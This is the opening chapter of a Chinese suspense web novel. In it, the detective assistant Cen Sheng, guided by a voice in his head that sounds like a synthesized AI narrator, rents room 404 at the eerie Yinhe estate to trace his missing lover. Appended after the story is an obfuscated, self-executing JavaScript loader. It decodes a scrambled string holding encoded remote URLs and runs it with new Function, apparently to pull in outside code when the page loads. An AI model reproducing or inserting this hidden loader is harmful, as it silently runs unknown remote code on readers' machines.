第一章(1 / 1)

“小笙,你以后就住这?”

一处老式居民楼前,停着辆面包车。体格壮硕的寸头男人,一手提着一个行李箱,仰头看着破旧的老楼。

“我在这座城市生活了二十多年,第一次知道这还有这么老的小区。新城市建设折腾三十多年,政府怎么还没把这拆了?”

此时正值盛夏,天气闷热得厉害。

长发男人从车上下来,他将头发扎起来,露出白皙修长的脖颈,“侦探社倒闭,我失业了。最近很缺钱,这里虽然破,但房租很低。”

男人五官算不上精致,组合在一起却很漂亮。他穿着简单的白色半袖和蓝色牛仔裤,身上带着一股书卷气。说话声音温温柔柔,听着很舒服。

相比起侦探助理,更像是年轻的大学教授。

这种老式居民楼没有电梯,好在楼层不高,总共只有五层。

岑笙住在四楼,两人拎着行李箱,一起往楼上走。

居民楼内温度很低,待久了还有些冷。

伍庞边走边四处打量,“这还真凉快,适合避暑。小笙,你看这墙上写的是什么,我没戴眼镜看不清。”

伍庞停下脚步,对着墙上一行小字扬扬下巴。

小字的位置很高,在墙壁最上方。

岑笙推推金丝边眼镜,眯起眼睛仔细看了看,“夜里不要在走廊里吵闹,会影响邻居休息。再吵,杀你们全家。”

伍庞啧了一声,“威胁的话写那么高,怂包。”

岑笙抿抿唇没接话。

他对字迹很敏感,那些字从粗细和角度看来,不像是站在梯子上,用红油漆写的。

更像是有人如同蜘蛛一般,四肢扒着墙壁趴在屋顶,用染血的手指写上去的。

岑笙被自己的脑补,弄得后背发凉。下意识摸摸挎包里的甩棍,给自己壮胆。

他早就知道,这个殷荷小区不对劲。

岑笙做了五年的侦探助理,手里多少也有些存款。他还是本地人,在这座城市有房子,根本没必要租房。

什么房租低图便宜,不想和父母住在一起,全都是借口。

如果有选择,岑笙也不想住在这。

————

很早之前,岑笙就知道自己生活在一本悬疑小说的世界里。

十五岁时,还在上高一的岑笙,脑海里突然多出一个声音。

一个类似于有声书旁白的AI合成音。

旁白在他脑袋里絮絮叨叨,讲悬疑惊悚故事。故事的主角不是他,是一名叫容冶的二十岁侦探。

岑笙看过新闻,知道容冶真实存在,不是虚拟人物。

他年纪轻轻就有了一家侦探事务所,身边有很多追求者。是个很优秀,也很有人格魅力的人。

岑笙搞不懂旁白是从哪来的,也不明白自己和容冶之间存在什么联系,为什么能听到他的故事。

他做过各种尝试,去庙里烧过香,也看过心理医生。

尝试无果,摆脱不了旁白,岑笙索性接受了现实。

他从高中一直听到大学毕业,对岑笙来说,容冶更像是一本书里的主角,他是这本书的听众。

他单方面对容冶产生了极强的好感,大学一毕业,立刻找机会做了容冶的助理。

在岑笙27岁时,两人确定恋人关系,正式开始同居。

同居一周后,容冶失踪了。毫无预兆,生死未卜。

旁白讲述的故事,也从悬疑侦探变成校园爱情。主角从容冶,变为一对陌生男女。

岑笙有了一种不好的念头。

故事和主角的更换,可能代表他的男友,已经遭遇不测。

这五年间他们形影不离,感情很好,岑笙每天都很想容冶。

警方查不到,他就自己去查。活要见人,死要见尸。

岑笙调查了很久,最终顺着线索,查到殷荷小区,这是容冶最后一次出现的地方。

侦探事务所在南方的科技新城,殷荷小区在岑笙的老家——北方工业老城区。

两座城市距离遥远,坐飞机都要四个小时。

容冶的身份证还在家里放着,岑笙不知道他到底怎么来到殷荷小区的。

他只知道容冶的爸妈是侦探,他自己也做了十几年的侦探。

无论实战还是理论,容冶都比他强上太多。如果容冶真的折在了殷荷小区,那他八成也会死在这。

————

到了404号

门前,岑笙低头翻找钥匙。

伍庞放下行李箱,嫌弃地搓搓手,“房门号真不吉利,怎么选了这间房?”

“只剩下他家出租,地方虽然破了点,但我合租室友是个很可爱的妹子,房东说她很好相处。”

“妹子再可爱,和你这个基佬又有什么关系。”

伍庞边嘟囔边四处打量,“居然住满了,这破地方住户这么多?门上挂的是什么,八卦镜?”

岑笙没抬头,他先前来看房时,就注意到这间屋子的异常。

404的防盗门上挂着八卦镜,贴着各种驱鬼镇邪的黄符。他的合租室友在客厅里供奉了一尊神像,岑笙在网上查不到那个神像的任何信息。

岑笙有点怕这些,本来不打算住进来。

但他在404的卧室里,找到一张纸,上面写着没能传递出去的求救暗号。

纸上,是容冶的字迹。

他的爱人,曾被囚禁在这间屋子里。

————

随着岑笙拉开防盗门,一股浓郁到呛人的香气扑面而来。伍庞没有心理准备,呛得直咳嗽。

屋内烟雾弥漫,是他室友在客厅里烧的香。

神像正对着房门,仿佛在监视每一个走进房间里的人。走廊死一般的寂静,听不见半点虫鸣鸟叫。楼内气温很低,冷的不像是盛夏。

气氛太过压抑,岑笙下意识攥紧甩棍,视线不自觉往卧室飘。

上回有房东和室友在,他怕引人怀疑,只来得及找到容冶的求救信号,就匆匆离开了。

这回他再找得仔细些,一定能找到更多的线索!

岑笙再次给自己做了几次心理暗示。

容冶那么厉害,肯定不会轻易死。他很可能就被困在某个地方,等着他去救他。

有了盼头,回想着和爱人拥吻的画面,岑笙苍白的嘴唇逐渐恢复血色。

“操,我还以为这屋子着火了,谁家在客厅里烧这么多香啊!墙上怎么全是黄符,这就是你说的,好相处的室友?”

看清屋内的情况,伍庞额头冒出细密的汗珠。他指指自己的脑袋,“你室友这里真没问题?你可别为了图便宜,和精神病或者邪.教的疯子住一块。”

“你知道的,我有职业病,来这之前调查过她,没什么问题。客厅布置成这样,应该只是她的个人爱好。”

岑笙仰头对他笑了笑,“这小区太老,也没个监控。你上来前没关车窗,快下去看看,免得有人偷你东西。”

“你管这叫爱好?”伍庞顿了顿一拍脑袋,“操,我还真忘锁车了!”

伍庞一走,岑笙立刻关上防盗门,从挎包里掏出鞋套手套,迅速穿戴上。

他刚才一进门,就看出今天室友不在家。

鞋架上少了双夏季运动鞋,门口附近的太阳伞和购物小拖车不见了,餐桌上放着瓶防晒喷雾。神像前烧的香,已经烧了一半。

她上完香出门了。

404只有一个卫生间,想去厕所需要穿过客厅,合租室友不会一直宅在卧室。

房间不大,总共七.八十平。容冶曾尝试给外界传递求救信号,说明他当时意识清醒,不可能不发出声音。

合租室友问题很大,就算她不是囚禁容冶的人,也一定是知情者。

岑笙跟房东打听过室友的消息,那女孩失业了,基本不出门。

这是为数不多调查她房间的机会。

岑笙给伍庞发了条短信,让他锁完车不用急着上来。坐楼下抽根烟,在网上查查附近的餐厅,一会他请他吃饭。

安排好过于热情,执意要送他来新家的发小,岑笙几步来到室友的卧室门前。

他伸手握住门把手,还没来得及转动,脑海里忽的响起一道熟悉的AI合成音。

是陪伴他十二年的旁白。

【检测到‘岑笙’已到达特殊地点——殷荷小区404号】

【已自动扣除10点善值,获得《殷荷鬼话》第三章章节预告】

【窒息感愈发强烈,岑笙想要看清来人的样貌,眼前却一片漆黑。冰冷纤细的手,掐住他的脖颈。水灌进口鼻,呛得他发不出一丝声音。岑笙不想死,他拼命抓挠来人的手腕,摸到一个坚硬的,泛着冷意的物体。】

盛夏的午后,一股寒意窜上岑笙脊背。他打了个寒颤,僵在原地不知所措。

旁白怎么不讲校园爱情故事了?

它在说什么?

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();